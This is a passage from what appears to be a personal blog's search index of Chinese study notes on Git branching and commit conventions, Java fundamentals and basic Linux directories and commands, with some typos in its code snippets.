时,需要及时修复,以master分支为基线,创建hotfix分支。修复完成后,需要合并到master分支和develop分支。\n分支命名以hotfix/开头的为修复分支,它的命名规则与feature分支类似。\n分支与环境对应关系在系统开发过程中常用的环境:\n\nDEV环境(Development environment):用于开发者调试使用。\nFAT环境(Feature Acceptance Test environment):功能验收测试环境,用于测试环境下的软件测试者测试使用。\nUAT环境(User Acceptance Test environment):用户验收测试环境,用于生产环境下的软件测试者测试使用。\nPRO环境(Production environment):生产环境。\n\n对应关系:\n\n\n\n分支\n功能\n环境\n可访问\n\n\n\nmaster\n主分支,稳定版本\nPRO\n是\n\n\ndevelop\n开发分支,最新版本\nDEV\n是\n\n\nfeature\n开发分支,实现新特性\n\n否\n\n\ntest\n测试分支,功能测试\nFAT\n是\n\n\nrelease\n预上线分支,发布新版本\nUAT\n是\n\n\nhotfix\n紧急修复分支,修复线上bug\n\n否\n\n\n分支合并流程规范业界常见的两大主分支(master、develop)、三个辅助分支(feature、release、hotfix)的生命周期:\n\n以上生命周期仅作参考,不同开发团队可能有不同的规范,可自行灵活定义。\n例如我们团队在开发时,至少需要保证以下流程:\n\ndevelop分支和hotfix分支,必须从master分支检出。\n由develop分支合并到test分支。\n功能测试无误后,由test分支合并到release分支。\nUAT测试通过后,由release分支合并到master分支。\n对于工作量小的功能开发(工时小于1天),可以直接在devolop分支进行开发,否则由develop分支检出feature分支进行开发,开发完后合并到develop分支。\n\nGit Commit Message规范Git Commit Message规范指提交代码时编写的规范注释,编写良好的Commit Message可以达到3个重要的目的:\n\n加快代码review的流程。\n帮助我们编写良好的版本发布日志。\n让之后的维护者了解代码里出现特定变化和feature被添加的原因。\n\nAngular Git Commit Guidelines业界应用的比较广泛的是Angular Git Commit Guidelines:\n<type>(<scope>): <subject><BLANK LINE><body><BLANK LINE><footer>\n\n\ntype:提交类型。\nscope:可选项,本次commit波及的范围。\nsubject:简明扼要地阐述下本次commit的主旨,在AngularGit Commit Guidelines中强调了三点。使用祈使句,首字母不要大写,结尾无需添加标点。\nbody:同样使用祈使句,在主体内容中我们需要把本次commit详细地描述一下,比如此次变更的动机。\nfooter:描述下与之关联的issue或break change。\n\n简易版项目中实际可以采用简易版规范:\n<type>(<scope>):<subject>\n\ntype规范Angular Git CommitGuidelines中推荐的type类型如下:\n\nfeat:新增功能。\nfix:修复bug。\ndocs:仅文档更改。\nstyle:不影响代码含义的更改(空白、格式设置、缺失分号等)。\nrefactor:既不修复bug也不添加特性的代码更改。\nperf:改进性能的代码更改。\ntest:添加缺少的测试或更正现有测试。\nchore:对构建过程或辅助工具和库(如文档)的更改。\n\n除此之外,还有一些常用的类型:\n\ndelete:删除功能或文件。\nmodify:修改功能。\nbuild:改变构建流程,新增依赖库、工具等(例如webpack、gulp、npm修改)。\ntest:测试用例的新增、修改。\nci:自动化流程配置修改。\nrevert:回滚到上一个版本。\n\n单次提交注意事项\n提交问题必须为同一类别。\n提交问题不要超过3个。\n提交的commit发现不符合规范,git commit --amend -m "新的提交信息"或git reset --hard HEAD重新提交一次。\n\n配置.gitignore文件.gitignore是一份用于忽略不必提交的文件的列表,项目中可以根据实际需求统一.gitignore文件,减少不必要的文件提交和冲突,净化代码库环境。\n通用文件示例:\nHELP.mdtarget/!.mvn/wrapper/maven-wrapper.jar!**/src/main/**/target/!**/src/test/**/target/### STS ###.apt_generated.classpath.factorypath.project.settings.springBeans.sts4-cache### IntelliJ IDEA ###.idea*.iws*.iml*.ipr### NetBeans ###/nbproject/private//nbbuild//dist//nbdist//.nb-gradle/build/!**/src/main/**/build/!**/src/test/**/build/### VS Code ###.vscode/# Log file*.log/logs*# BlueJ files*.ctxt# Mobile Tools for Java (J2ME).mtj.tmp/# Package Files #*.jar*.war*.ear*.zip*.tar.gz*.rar*.cmd\n\n其他此外,还有一些其他建议:\n\nmaster分支的每一次更新,都建议打tag添加标签,通常为对应版本号,便于管理。\nfeature分支、hotfix分支在合并后可以删除,避免分支过多,管理混乱。\n每次pull代码前,提交本地代码到本地库中,否则可能会出现合并代码出错,导致代码丢失。\n\n","tags":["技术栈"]},{"title":"Java","url":"/2024/04/14/Java/","content":"Java==面向对象的三大特征:封装、继承、多态==\n\nJVM(Java Virtual Machine):Java虚拟机,真正运行Java程序的地方\n核心类库:Java自己写好的程序,给程序员自己的程序调用的\nJRE(Java Runtime Environment):Java的运行环境\nJDK(Java Development Kit):Java开发工具包\n\n变量详解字面量\n\n\n常用数据\n生活写法\n程序中写法\n说明\n\n\n\n整数\n336,-143\n336,-143\n写法一致\n\n\n小数\n13.14,-5.21\n13.14,-5.21\n写法一致\n\n\n字符\nA,0,我\n‘A’,’0’,’我’\n必须使用单引号,有且只有一个字符\n\n\n字符串\n张三\n“hello”,”张三”\n必须使用双引号,内容可有可无\n\n\n布尔值\n真、假\ntrue、false\n\n\n\n空值\n\nnull\n特殊的值,空值\n\n\n二进制(BIN)以0B开头\n八进制(OCT)以0开头\n十进制(DEC)\n十六进制(HEX)以0x开头\n数据类型\n整型:byte、short、int、long\n\nbyte:-128~127\n如果希望随便写一个整型字面量默认是long类型需在后面加上L/l\n\n浮点型:float、double\n\n如果希望随便写一个小数字面量默认是float类型需在后面加上F/f\n\n字符型:char\n\n布尔型:boolean\n\n引用数据类型:String\n\n\n定义的变量可用于记住一个字符串数据\n类型转换自动类型转换类型小的变量可直接赋值给类型范围大的变量\n表达式的自动类型转换byte、short、char→int→long→float→double\n表达式的最终结果类型由表达式中的最高类型决定\n表达式中,byte、short、char直接转换成int类型参与运算\n强制类型转换数据类型 变量2 =(数据类型)变量1、数据\n浮点类型强转成整型,直接丢掉小数部分,保留整数部分返回\n运算符+符号做连接符能算则算,不能算就在一起\n自增自减运算符++a:先加再用\na++:先用再加\n赋值运算符自带强制类型转换\n逻辑运算符^:逻辑异或\teg.2>1^3>1\n前后条件结果相同就直接返回false,不同才返回true\n\n相同为假,不同为真\n\n&&:左边为false,右边则不执行\n||:左边为true,右边则不执行\n\n两者与&、|区别:后者无论左边是false还是true,右边都要执行\n\n运算符的优先级\n\n\n优先级\n运算符\n\n\n\n1\n()\n\n\n2\n!、-、++、–\n\n\n3\n*、/、%\n\n\n4\n+、-\n\n\n5\n<<、>>、>>>\n\n\n6\n<、<=、>、>=、instanceof\n\n\n7\n==、!=\n\n\n8\n&\n\n\n9\n^\n\n\n10\n|\n\n\n11\n&&\n\n\n12\n||\n\n\n13\n?:\n\n\n14\n=、+=、-=、*=、/=、%=、&=\n\n\nDemo1:接收用户键盘输入的数据\n分支结构(if、switch)\nswitch使用时注意事项\n\n\n表达式类型只能是byte、short、int、char,JDK5开始支持枚举,JDK7开始支持string,不支持double、float、long\ncase给出的值不允许重复,且只能是字面量,不能是变量\n\n循环结构(for、while、do-whileDemo2:随机数random类\n数组\n静态初始化数组\n\n数据类型[ ] 数组名=new 数据类型[]{元素1,元素2,…};\n获取数组长度:数组名.length\n\n动态初始化数组\n\n数据类型[] 数组名=new 数据类型[长度]\n数组在计算机中的执行原理Java内存分配:\n\n方法区\n\n编译后的字节码文件先加载到这里\n\n栈\n\n方法运行时所进入的内存,变量也是在这里\n方法被调用的时候,是进入到==栈内存==中运行\n特点:先进后出\n\n堆\n\nnew出来的东西会在这块内存中开辟空间并产生地址\n\n本地方法栈\n寄存器\n\n图解\n\n多个变量指向同一个数组\n多个数组变量中存储的是同一个数组对象的地址\n多个变量修改的都是同一个数组对象中的数据\n如果某个数组变脸中存储的null代表这个数组变量没有指向对象,需要注意可以输出这个变量,但不能用这个数组变量去访问数据或者访问数组长度\n\n\n会报空指针异常:NullPointerException\n\nJava的参数传递机制都是值传递\n基本类型的参数传输存储的数据值\n引用类型的参数传输存储的地址值\n方法重载一个类中出现多个方法的名字相同,但是它们的形参列表是不同的,其它的都不管(如修饰符、返回值类型是否一样都无所谓)\n\n形参列表不同指:形参的个数、类型、顺序不同,不关心形参的名称\n\n在方法中单独使用return在无返回值的方法中使用\n作用:立即跳出并==结束当前方法的执行==\n面向对象编程\n一个代码文件中可以写多个class类,但只能用一个public修饰,且public修饰的类名必须成为代码文件名\n\nJava存在自动垃圾回收机制,会自动清除掉垃圾对象\n\n\nthis就是一个变量,可用在方法中,==拿到当前对象==\n\n相当于c++里的this,Python中的self\n\n主要用来解决对象的成员变量与方法内部变量的名称一样时导致的访问冲突问题\npublic class Student{ double score; public void printPass(double score){ //this.score指向的是对象的score,若不加this.,则两个score遵循就近原则都指向形参,两score恒等,判断为否 if(this.score>score){ System.out.println("恭喜"); }else{ System.out.println("很遗憾"); } }}\n\n构造器创建对象时同时完成对对象成员变量(属性)的初始化赋值\n\n类似C++的重构\n\npublic class Student{ public Student /** 不填返回值类型 */(){ }}\n\n\n类在设计时若不写构造器,Java会为类自动生成一个无参构造器\n一旦定义有参构造器,Java不会自动为类生成无参构造器,==此时建议自己手写一个无参构造器==\n\n封装==面向对象的三大特征:封装、继承、多态==\n合理暴露、合理隐藏\npublic class Student{ private double score; public void setScore(double score){ if(score>=0&&score<=100){ this.score=score; }else{ System.out.println("数据非法"); } } public double getScore(){ return score; }}\n\n实体类JavaBean\n一种特殊形式的类\n类中的成员变量都要私有,并且要对外提供相应的get、set方法\n类中必须有一个公共的无参的构造器\n\n\n\n实体类只负责数据存取,而对数据的处理交给其他类来完成,以实现数据和数据业务处理相分离\n常用API包\n同一个包下的类,互相可以直接调用\n调用其他包的程序,要先导包才可访问\n格式:import 包名.类名;\n\n\n调用Java的程序需先导包才可访问,但Java.lang包下的程序是不需要我们导包的,可直接使用\n调用多个不同包下的程序,而程序名正好一样,此时默认只能导入一个程序,另一个程序必须带包名访问\n\nString\n两种创建对象的方式\nString name="test"String name=new String("test");\n\nString s = "test";//获取字符串长度System.out.println(s.length());//提取字符串某个索引位置处的字符char c=s.charAt(1);//把字符串转换成字符数组,再进行遍历char[] chars=s.toCharArry();//判断字符串内容,内容一样返回trueString s1=new String("te");String s2=new String("te");System.out.println(s1.equals(s2));System.out.println(s1==s2);//直接==比较会返回false,因为这是在比较地址//忽略大小写来比较字符串内容String s1=new String("tE");String s2=new String("Te");System.out.println(s1.equalsIgnoreCase(s2));//截取字符串内容(包前不包后)String s3="这是一段字符串";s3.substring(0,6) //把字符串中的某个内容替换成新内容,并返回新的字符串对象//比如替换敏感词String info="这是一段脏话";String s4=info.replace("脏话","**");//判断字符串中是否包含某个关键字(精准匹配)String info2="这是一段脏话";info2.contains("脏话");//判断字符串是否以某个字符串开头String info3="这是一段话";System.out.println(info3.startsWith("这"));//输出true//把字符串按照某个指定内容分割成多个字符串,放到一个字符串数组中返回给我们String s5="张三,李四,王五,老六";String[] names=s5.split(",");\n\n注意事项\nString对象的内容不可改变,被称为不可变字符串对象\n\n只要是以”…”方式写出的字符串对象,会存储到字符串常量池,且相同内容的字符串只存储一份\n\n但通过new方式创建字符串对象,每new一次都会产生一个新的对象放在堆内存中\n\n\n\n\nString s2=new String("abc");String s1="abc";Q1:前两行一行代码创建了几个对象?\n\nA1:==第一行创建了两个==。双引号中的abc会储存在常量池中,即常量池产生一个对象;new的时候又要产生一个字符串对象(放在堆中)。\n==第二行创建了零个==。常量池中已经有了abc,则s1直接指向abc。\nString s1="abc";String s2="ab";Srting s3=s2+"c";System.out.println(s1==s3);Q2:输出结果?\n\nA2:false。s1指向常量区,而s3是运算,会放在堆中。\nString s1="abc";String s2="a"+"b"+"c";System.out.println(s1==s2);Q3:输出结果?\n\nA3:true。==Java存在编译优化机制,程序在编译时”a”+”b”+”c”会直接转成”abc”以提高程序执行性能。==\nArrayList集合是一种容器,用来装数据,类似于数组,==大小可变==\n集合都支持泛型:”ArrayList<E>“,约束集合在编译阶段只能操作某种数据类型(包括对象)\n集合和泛型都不支持基本数据类型,只能支持引用数据类型\n\n\n\n\nstatic\n修饰成员变量成员变量按照有无static修饰,分为两种:\n\n类变量:有static修饰,属于类,在计算机里只有一份,==会被类的全部对象共享==\n实例变量(对象变量):无static修饰,==属于每个对象==\n\npublic class Student{ static String name;//类变量 int age;//实例变量(对象的变量)}\n\n类名.类变量(推荐)对象.类变量(不推荐)---对象.实例变量\n\n修饰成员方法\n类方法:有static修饰的成员方法,属于类\n实例方法:无static修饰的成员方法,属于对象\n\n\n为什么工具类中方法要用类方法而不用实例方法?\n\n实例方法需要创建对象来调用,此时对象只是为了调用方法,对象占内存,会浪费内存\n类方法直接用类名调用即可,调用方便,也能节省内存\n\n\n\n工具类无创建对象的需求,建议将工具类的构造器进行私有\npublic class Mytools{ private Mytools(){} public static String toolone(){ ... }}\n\n\n注意事项public class Mytools{ static String schoolName;//类变量 double score;//实例变量 1.类方法中可以直接访问类成员,不可直接访问实例成员 public static void printHorld(){ //同一个类中,访问类成员,可以省略类名不写 schoolName="张三"; Student.printHelloWorld2();//可以 printHelloWorld2();//可以 System.out.println(score);//报错 printPass();//报错 System.out.println(this);//报错 } public static void printHelloWorld2(){}//类方法 2.实例方法中既可以直接访问类成员,也可以直接访问实例成员 3.实例方法中可以出现this关键字,类方法中不可出现this关键字 public void printPass(){//实例方法 schoolName="李四"; printHelloWorld2();//可 System.out.println(score);//可 (this.)printPass2();//可 System.out.println(this);//可 } public void printPass2(){}\n\n代码块\n类的五大成分(成员变量、构造器、方法、代码块、内部类)\n\n\n静态代码块\n\n格式:static{}\n特点:类加载时自动执行,由于类只会加载一次,所以静态代码块也只执行一次\n作用:完成类的初始化,例如:对类变量的初始化赋值\n\n实例代码块\n\n格式:{}\n特点:每次创建对象时,执行实例代码块,并在构造器前执行。\n作用:和构造器一样,都是用来完成对象的初始化的,例如:对实例变量进行初始化赋值\npublic class Student{ static int number=80; static String schoolName="张三"; static{ System.out.println("静态代码块执行了"); }//静态代码块 { System.out.println("实例代码块执行了"); }//实例代码块}public class Test{ public static void main(String[] args){ System.out.println(Student.number); /** 静态代码块执行了 80 */ Student s1=new Student(); /** 实例代码块执行了 无参数构造器执行了 */ Student s1=new Student("李四"); /** 实例代码块执行了 有参数构造器执行了 */ } public Student{ System.out.println("无参构造器执行了"); } public Student(String name){ System.out.println("有参构造器执行了"); }}\n\n应用:比如创建对象的日志(不放到构造器而是代码块中执行,减少重复代码编写)\nSystem.out.println("有人创建了对象:"+this);\n\n单例设计模式设计模式:具体问题的最优解法\n\n解决什么问题?\n怎么写?\n\n\n确保一个类只有一个对象\n==饿汉式单例对象==\n写法\n\n把类的构造器私有\n定义一个类变量记住类的一个对象\n定义一个类方法,返回对象\n\npublic class A{ private static A a=mew A();//2 private A(){//1 } public static A getObject(){//3 return a; }}\n\n==懒汉式单例对象==\n写法\n\n把类的构造器私有\n定义一个类变量用于存储对象\n提供一个类方法,保证返回的是同一个对象\n\npublic class B{ private static B b;//2 private B(){//1 } public static B getInstance(){//3 if(b==null){ b=new B(); } return b; }}\n\n如果单例对象频繁用到——饿汉式\n很少去用它——懒汉式(节省内存)\n继承关键字——extends\npublic class B extend A{}A:父类(基类或超类)B:子类(派生类)\n\n特点:子类可继承父类的非私有成员(成员变量、成员方法)\n继承后对象的创建:子类的对象是由子类、父类共同完成的\n权限修饰符限制类中的成员(成员变量、成员方法、构造器、代码块…)能够访问的范围\n\n\n\n修饰符\n在本类中\n同一个包下的其他类\n任意包下的子类\n任意包下的任意类\n\n\n\nprivate\n√\n\n\n\n\n\n缺省\n√\n√\n\n\n\n\nprotected\n√\n√\n√\n\n\n\npublic\n√\n√\n√\n√\n\n\nprivate<缺省<protected<public\n单继承、ObjectJava中的类不支持多继承,但是支持多层继承\nObject类是Java所有类的祖宗类\n方法重写==声明不变,重新实现==\n\n子类觉得父类中某个方法不好用,或无法满足自己的需求时,==子类可以重写一个方法名称、参数列表一样的方法==,去覆盖父类的这个方法\n重写后,Java遵循就近原则进行方法的访问\n参数列表相同叫重写,不同叫重载\n注意:\n\n重写小技巧:使用==Override注解==,它可以指定Java编译器,检查我们方法重写的格式是否正确,代码可读性会更好\n@Override \n\n子类重写父类方法时,访问权限必须大于或者等于父类该方法的权限==(public>protected>缺省)==\n\n重写的方法返回值类型必须与被重写方法的返回值类型一样,或者范围更小\n\n私有方法、静态方法不能被重写\n\n\n常见应用场景\n\n子类重写Object类的toString()方法,以便返回对象的内容\n\npublic String toString(){ return "Student{name="+name+",age="+age+"}";}//Object类中返回的是地址,重写后可按需返回相应内容\n\n直接Generate亦可生成\n子类中访问其他成员的特点依照==就近原则==\n局部变量与成员变量冲突时,可在前加this\npublic class F{ String name="父类名称"; public void print1(){ System.out.println("父类的print1方法执行"); }}\n\npublic class Z extends F{ String name="子类名称"; public void showName(){ String name="局部名称"; System.out.println(name);//局部名称 System.out.println(this.name);//子类的成员变量 System.out.println(super.name);//父类的成员变量 } @Override public void print1(){ System.out.println("子类的print1执行"); } public void showMethod(){ print1();//子类的 super.print1();//父类的 }}\n\n子类构造器的特点子类的全部构造器,都会先调用父类的构造器,再执行自己\n\n在子类的全部构造器的第一行,都会有super();\n写不写都默认存在,它是调用父类的无参构造器的\n\n若父类只有有参构造器,则我们必须在子类构造器第一行手写super(…),指定去调用父类的有参构造器↓\nclass F{ public F(String name,int age){}}\n\nclass Z extends F{ public Z(){ super("张三",18); System.out.println("子类的无参构造器执行"); } 有参构造器同理}\n\nthis(…)调用兄弟构造器任意类的构造器中,都可以通过this(…)去调用该类的其他构造器\npublic class Test3{ public static void main(String[] args){ Student s1=new Student("李四",26,"家里蹲大学"); //若学生没有填写学校,那么学校默认是NUC Student s2=new Student("李四",28); }}class Student{ private String name; private int age; private String schoolName; public Student(String name,int age){ this(name,age,"NUC"); } public Student(String name,int age){ this.name=name; this.age=age; this.schoolName=schoolName; } 后面的getset方法省略}\n\n多态在继承/实现情况下的一种现象,表现为:对象多态、行为多态\n前提:有继承/实现关系;存在父类引用子类对象;存在方法重写\n多态是对象、行为的多态,Java中的属性(成员变量)不谈多态\n好处\n\n在多态形式下,右边对象时解耦合的,更便于拓展和维护\n\n\n解耦合:比如系统中的每一个模块拆分成一个个的服务\n\n\n定义方法时使用父类类型的形参,可以接收一切子类对象,拓展性更强、更便利\n\n问题\n\n多态下不能使用子类的独有功能\n\n多态下的类型转换问题\n自动类型转换:父类 变量名=new 子类();\nPeople p =new Teacher();\n\n强制类型转换:子类 变量名=(子类)父类变量\nTeacher t=(Teacher)p;\n\n注意事项\n\n存在继承/实现关系就可以在编译阶段进行强制类型转换,编译阶段不会报错\n\n运行时如果发现对象的真实类型与强转后的类型不同。就会报类型转换异常(ClassCastException)的错误\nPeople p=new Teacher();Student s=(Student) p;//ClassCastException\n\n强转前,Java建议:使用==instanceof==关键字,判断当前对象的真实类型,再进行强转\nif(p instanceof Student){ Student s2=(Student)p;}\n\nfinal意思是最终,可以修饰(类、方法、变量)\n\n修饰类:该类被称为最终类,特点是不能被继承了\n\n修饰方法:该方法被称为最终方法,特点是不能被重写了\n\n修饰变量:该变量只能被赋值一次\n\n\nfinal class A{}//类public final void test(){}//方法\n\nfinal修饰变量的注意\n\nfinal修饰基本类型的变量,变量存储的==数据==不能被改变\n\nfinal修饰引用类型的变量,变量存储的==地址==不能被改变,但地址所指向对象的内容是可以被改变的\nfinal int[] arr={1,2,3}arr=null;//错,变量地址不能动arr[1]=222;//可\n\n常量使用了static final修饰的成员变量\n作用:通用用于记录系统的配置信息\n名称全部大写,多个单词下划线连接\npublic static final String SCHOOL_NAME="NUC";\n\n好处\n\n代码可读性更好,可维护性也更好\n程序编译后,常量会被“宏替换”:出现常量的地方全部会被替换成其记住的字面量,可保证使用常量和直接用字面量的性能是一样的\n\n抽象类关键字:abstract,可用它修饰类、成员方法\n抽象方法只有方法签名,不能有方法体\n注意事项&特点\n\n抽象类中不一定有抽象方法,有抽象方法的类一定是抽象类\n类该有的成员(成员变量、方法、构造器)抽象类都可以有\n==最主要的特点:==抽象类不能创建对象,仅作为一种特殊的父类,让子类继承并实现\n一个类继承抽象类,必须重写完抽象类的全部抽象方法,否则这个类也必须定义成抽象类\n\n好处\n父类知道每个子类都要做某个行为,但每个子类要做的情况不一样,父类就定义成抽象方法,交给子类去重写实现,==更好的支持多态==\n常见应用场景:模板方法设计模式解决方法中存在重复代码的问题\n写法\n\n定义一个抽象类\n\n在里面定义两个方法\n\n一个是模板方法:把相同代码放里面\n一个是抽象方法:具体实现交给子类完成\n\n\n\n建议用final关键字修饰模板方法\n\n模板方法是给对象直接使用的,不能被子类重写\n一旦子类重写了模板方法,模板方法就失效了\n\n接口关键字:interface\npublic interface 接口名{ 成员变量(Java默认是常量)(记得大写) 成员方法(Java默认是抽象方法)}\n\n接口中不能有构造器、代码块,不能创建对象\n接口是用来被类实现(implements)的,实现接口的类成为实现类\n修饰符 class 实现类 implements 接口1,接口2...{}\n\n一个类可以实现多个接口(接口可以理解为干爹),实现类实现多个接口,必须重写完全部接口的全部抽象方法,否则实现类需要定义成抽象类\n好处\n\n弥补类单继承的不足,一个类同时可以实现多个接口\n让程序可以面向接口编程,可以灵活方便切换各种业务实现\n\njdk8开始新增的方法\n默认方法:必须使用default修饰,默认会被public修饰\n(也就是实例方法:对象的方法,必须使用实现类的对象来访问\npublic interface A{\tdefault void test1(){ \tSystem.out.println("==默认方法==");\t}}---psvm) B b=newB();\tb.test1();\n\n私有方法:必须使用private修饰(JDK9开始\n因为是私有方法,所以只能在接口内访问(比如在默认方法中访问、或者接口中的其他私有方法)\npublic interface A{ private void test1(){ System.out.println("==私有方法=="); }}\n\n静态方法:必须使用static修饰\npublic interface A{\tstatic void test3(){ \tSystem.out.println("==静态方法==");\t}}A.test3();\n\n杂项IDEA管理Java程序的结构\nproject(项目、工程)\nmodule(模块)\npackage(包)\nclass(类)\n\n\n\n创建工程(空工程)\n创建模块\n创建包 src-新建包(域名倒写+名字)\n创建类 包-新建类(类名首字母大写)\n\n快捷键\nmain/psvm、sout\n\nCtrl+D:复制当前行数据到下一行\n\nCtrl+Y:快速删除所在行\n\nCtrl+Alt+L:格式化代码\n\nAlt+shift+↑/↓:上下移动当前代码\n\nCtrl+/,Ctrl+shift+/:代码注释\n\n\n\n/** */:文档注释\n\n\nAlt+Enter\n\n选中代码,然后Ctrl+Alt+T,快速以…包裹\n\n\n数组名.fori然后回车快速遍历数组\n右键-Generate-\n“Getter and Setter”快速生成get、set方法(shift再点击变量可多选)\n“Constructor”自动生成构造器\n\n\n\nString、StringBuffer与StringBuilder三者之间的区别?String、StringBuffer和StringBuilder是Java中用于处理字符串的类,它们之间有一些重要的区别。\n\n不可变性:\nString类是不可变的,一旦创建,它的值就不能被修改。每次对String进行操作(如拼接、替换等),都会创建一个新的String对象。这意味着在频繁操作字符串时,会引发大量的对象创建和销毁,影响性能。\nStringBuffer和StringBuilder是可变的,它们允许修改已有的字符串而不创建新的对象。在字符串频繁修改的场景中,它们的性能更好。\n\n\n线程安全性:\nString是线程安全的,因为它的不可变性保证了多线程环境下的安全性。\nStringBuffer是线程安全的,它的方法都使用了synchronized关键字进行同步。这使得它可以被多个线程安全地使用,但在高并发环境下性能相对较低。\nStringBuilder是非线程安全的,它的方法没有进行同步操作。在单线程环境下,StringBuilder的性能比StringBuffer更好。\n\n\n性能:\n由于String的不可变性,每次对String进行操作都会产生新的String对象,导致额外的内存开销。在频繁操作字符串的情况下,性能较差。\nStringBuffer和StringBuilder都是可变的,它们在进行字符串操作时不会创建新的对象,因此在频繁操作字符串时性能更好。\nStringBuilder相对于StringBuffer的性能更好,因为它不需要进行同步操作。\n\n\n\n综上所述,如果你需要一个可变的字符串,并且在单线程环境下进行操作,建议使用StringBuilder,因为它的性能最好。如果在多线程环境下进行操作,或者需要线程安全性,可以使用StringBuffer。只有在操作字符串不频繁的情况下,才建议使用String。\n成员变量和局部变量的区别?Field:成员变量\n\n\n\n区别\n成员变量\n局部变量\n\n\n\n类中位置\n类中,方法外\n常见于方法中\n\n\n初始化值\n有默认值,无需初始化赋值\n无默认值,使用前必须赋值\n\n\n==内存位置==\n堆内存\n栈内存\n\n\n作用域\n整个对象\n所属的大括号中\n\n\n生命周期\n与对象共存亡\n随方法的调用而生,随方法的运行结束而亡\n\n\n\n动态数组中的对象值是初始化的\n\n搞懂main方法public class Test{ public static void main(String[] args){ ... }}\n\nmain方法是类方法\n运行时Test.main(…)\n","tags":["技术栈"]},{"title":"Linux","url":"/2024/04/14/Linux/","content":"Linux文章:http://dwz.date/UDf\n\nLinux目录划分\n\n/bin:binary缩写,此目录存放着最经常使用的命令\n/boot:存放启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件\n/dev:device的缩写,存放Linux的外部设备,在Linux中访问设备的方式和访问文件的方式是相同的\n==/etc:存放所有的系统管理所需要的配置文件和子目录==\n==/home:用户主目录,Linux中每个用户都有一个自己的目录,一般以用户的账号命名==\n/lib:存放系统最基本的动态连接共享库,作用类似于Windows里的dll文件\n/lost+found:一般情况为空,当系统非法关机后这里就存放了一些文件\n/media:Linux系统会自动识别一些设备,例如U盘、光驱等等,当识别后Linux会把识别的设备挂载到这个目录下\n/mnt:系统提供该目录是为了让用户临时挂载别的文件系统的,我们可将光驱挂载在/mnt/上,然后进入该目录就可以看到光驱里的内容了\n==/opt:给主机额外安装软件所摆放的目录。安装一个Oracle数据库就可以放到这个目录下,默认为空==\n/proc:虚拟目录,是系统内存的映射,可通过直接访问这个目录获取系统信息\n/root:为系统管理员,也称作超级权限者的用户主目录\n/sbin:s是super user的意思,这里存放的是系统管理员使用的系统管理程序\n/srv:存放一些服务启动之后需要提取的数据\n/sys:这是Linux2.6内核的一个很大的变化,该目录下安装了2.6内核中新出现的一个文件系统sysfs\n/tmp:存放一些临时文件\n==/usr:非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于Windows下的program files目录==\n/usr/bin:系统用户使用的应用程序\n/usr/sbin:超级用户使用的比较高级的管理程序和系统守护程序\n/usr/src:内核源代码默认的放置目录\n/var:存放着在不断扩充着的东西,我们习惯讲那些经常被修改的目录放在这个目录下。包括各种日志文件\n/run:一个临时文件系统,存储系统启动以来的信息,当系统重启时,这个目录下的文件应该被删掉或清除\n==/www:存放服务器网站相关的资源、环境、网站的项目==\n\n文件属性基本属性\n第0位确定文件类型:\n\n[ d ]:目录\n[ - ]:文件\n[ l ]:链接文档(link file)\n[ b ]:装置文件里面的可供储存的接口设备(可随机存取装置)\n[ c ]:装置文件里面的串行端口设备,例如键盘、鼠标(一次性读取装置)\n\n后为相关权限:\n[ r ]:可读(read)、[ w ]:可写(write)、[ x ]:可执行(execute);若无权限则会出现[ - ]\ndr-xr-xr-x. 5 root root 4096 5月 16 18:15 boot\n\n\n数字为文件个数\n第一个root为属主\n第二个root为属组\n\n修改属性\nchgrp:更改文件属组\n\nchgrp -R 属主名 文件名\n\n\nchown:更改文件属主,也可同时更改文件属组\n\nchown -R 属主名 文件名chown -R 属主名:属组名 文件名\n\n\nchmod:更改文件九个属性\n\nchmod 数字 文件或目录名\n\n\n数字代表权限\nr:4\tw:2\tx:1\n\n常用基本命令\nsudo su:切换到管理员\n\ncd:切换目录\n\n~:切换到home目录\n-:切换到上次访问的目录\n\n\nls:列出目录\n\n-a:全部的文件,连同隐藏文件( 开头为 . 的文件) 一起列出来\n-l :长数据串列出,包含文件的属性与权限等等数据;\n\n\npwd:显示目前所在的目录\nPrint Working Directory 的缩写,也就是显示目前所在目录的命令\n\n-p:显示出确实的路径,而非连接(link)路径\n\n\nmkdir:创建新目录\n\n-m:配置文件的权限喔!直接配置,不需要看默认权限 (umask) 的脸色\n-p :帮助你直接将所需要的目录(包含上一级目录)递归创建起来!\n\n\nrmdir:删除空的目录\n\n-p:连同上一级空的目录也一起删除\n\n\ncp:复制文件或目录\ncp 原来的地方 新的地方\n\n-a:相当于-pdr\n\n-p:连同文件的属性一起复制过去,而非使用默认属性(备份常用)\n\n-d:若来源裆为连结档的属性(link file),则复制连结档属性而非文件本身\n\n-r:递归持续复制,用于目录的复制行为\n\n-f:强制的意思,若目标文件已存在且无法开启,则移除后再尝试一次\n\n-i:若目标档(destination)已存在时,在覆盖时会先询问动作的进行\n\n-l:进行硬式连结(hard link)的连结档创建,而非复制文件本身\n\n-s:复制成为符号连结档(symbolic link),亦即捷径文件\n\n-u:若destination比source旧才升级destination\n\n\n\nrm:移除文件或目录\n\n-f:忽略不存在的文件,不会出现警告,强制删除\n-r:递归删除目录\n-i:互动模式,删除前询问是否删除\n\n\nmv:移动文件与目录,或修改名称\n\n-f :force 强制的意思,如果目标文件已经存在,不会询问而直接覆盖\n-i :若目标文件(destination)已经存在时,就会询问是否覆盖\n-u :若目标文件已经存在,且source比较新,才会升级(update)\n\n\n\n# 开启防火墙端口firewall-cmd --zone=public --add-port=9000/tcp --permanent# 重启防火墙systemctl restart firewalld.service# 查看所有开启的端口(若为阿里云还需配置安全组规则)firewall-cmd --list-ports\n\n\nfirewall-cmd:防火墙相关\n\n–zone:作用域\n–add-port=80/tcp:添加端口,格式为:端口/通讯协议\n–permanent:永久生效,无此参数重启后失效\n\n\nnetstat -an:查看当前系统端口\n\nnetstat -an|grep :指定端口(搜索指定端口)\n\nsu - 用户名:切换用户\n\nman:列出完整的命令语法、各选项意义及相关命令\n\n-w:输出手册物理位置\n\n编号规则\nman 1 